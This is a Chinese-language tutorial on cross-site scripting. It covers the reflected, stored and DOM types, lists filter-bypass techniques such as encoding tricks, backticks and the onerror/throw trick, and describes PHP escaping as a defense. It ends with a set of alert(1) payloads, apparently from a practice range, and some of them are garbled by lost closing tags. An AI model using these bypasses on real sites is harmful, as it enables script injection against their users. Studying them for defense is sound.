跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
下面是一些常见的XSS分类:
- 反射性XSS
- 存储型XSS
- DOM型XSS
攻击者事先准备好攻击请求,被攻击人去使用这个链接的时候就会触发XSS恶意代码。
存储型XSS存储型XSS代码是存储在服务器内的,危害比较大。
DOM型XSS跟存储型XSS类似,不过不同的是该类型能伪装成页面元素。
XSS的攻击与防御一般我们在发现XSS插入点后,使用XSS平台辅助进行攻击。
XSS靶场XSS平台_1
XSS平台_2
无论哪一种XSS绕过方法,都需要试探出目标主要过滤了什么东西。
- HTML实体编码绕过
- HTML实体编码+URLENCODE编码绕过
- NATIVE绕过
- ``代替括号
与十六进制实体编码相结合
- 换行绕过
- 不闭合绕过
- –!>闭合绕过
- url特性引入自定义JS绕过
- 双渲染绕过
- on监听器绕过
- js伪协议绕过
- 双写绕过
关键字过滤大部分时针对敏感变量或者函数而进行的,我们可以通过字符串拼接和编码解码等方式绕过。
字符串拼接与混淆- Javascript中的对象方法可以使用数组来进行调用
window['alert'](/xss/)
编码解码
- HTML进制编码
- CSS进制编码
- Javascript进制编码
- URL编码
- JSFuck编码
- 过滤()
在Javascript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对()
的过滤。
window.onerror=alert; throw 1;
- 过滤空格
过滤空格可以使用/
来代替空格绕过过滤,也可以使用0x09、0x10、0x12、0x0a、0x13等
XSS的防御手法
无论是反射型还是存储型我们都可以使用PHP函数htmlentities
或者htmlspecialchars
进行转义。如果是存储型XSS需要转义后,这两个函数有所不同:
htmlentities
:会转化所有的html代码,连同里面的它无法识别的中文字符也会转化。htmlspecialchars
:只转义&
、"
、'
、<
、>
这几个代码。
- 0x00
<script>alert(1)script>
- 0x01
textarea><script>alert(1)script>
- 0x02
"><script>alert(1)script>
- 0x03
<script>alert`1`script>
- 0x04
<svg><script>alert(1)script>
<img src="x" onerror="alert(1)">
- 0x05
--!><script>alert(1)script>也可以闭合注释 -->
- 0x06
onclick
="alert(1)"
- 0x07
<img src="x" onerror="alert(1)"
- 0x08
style
>
<img src="x" onerror="alert(1)"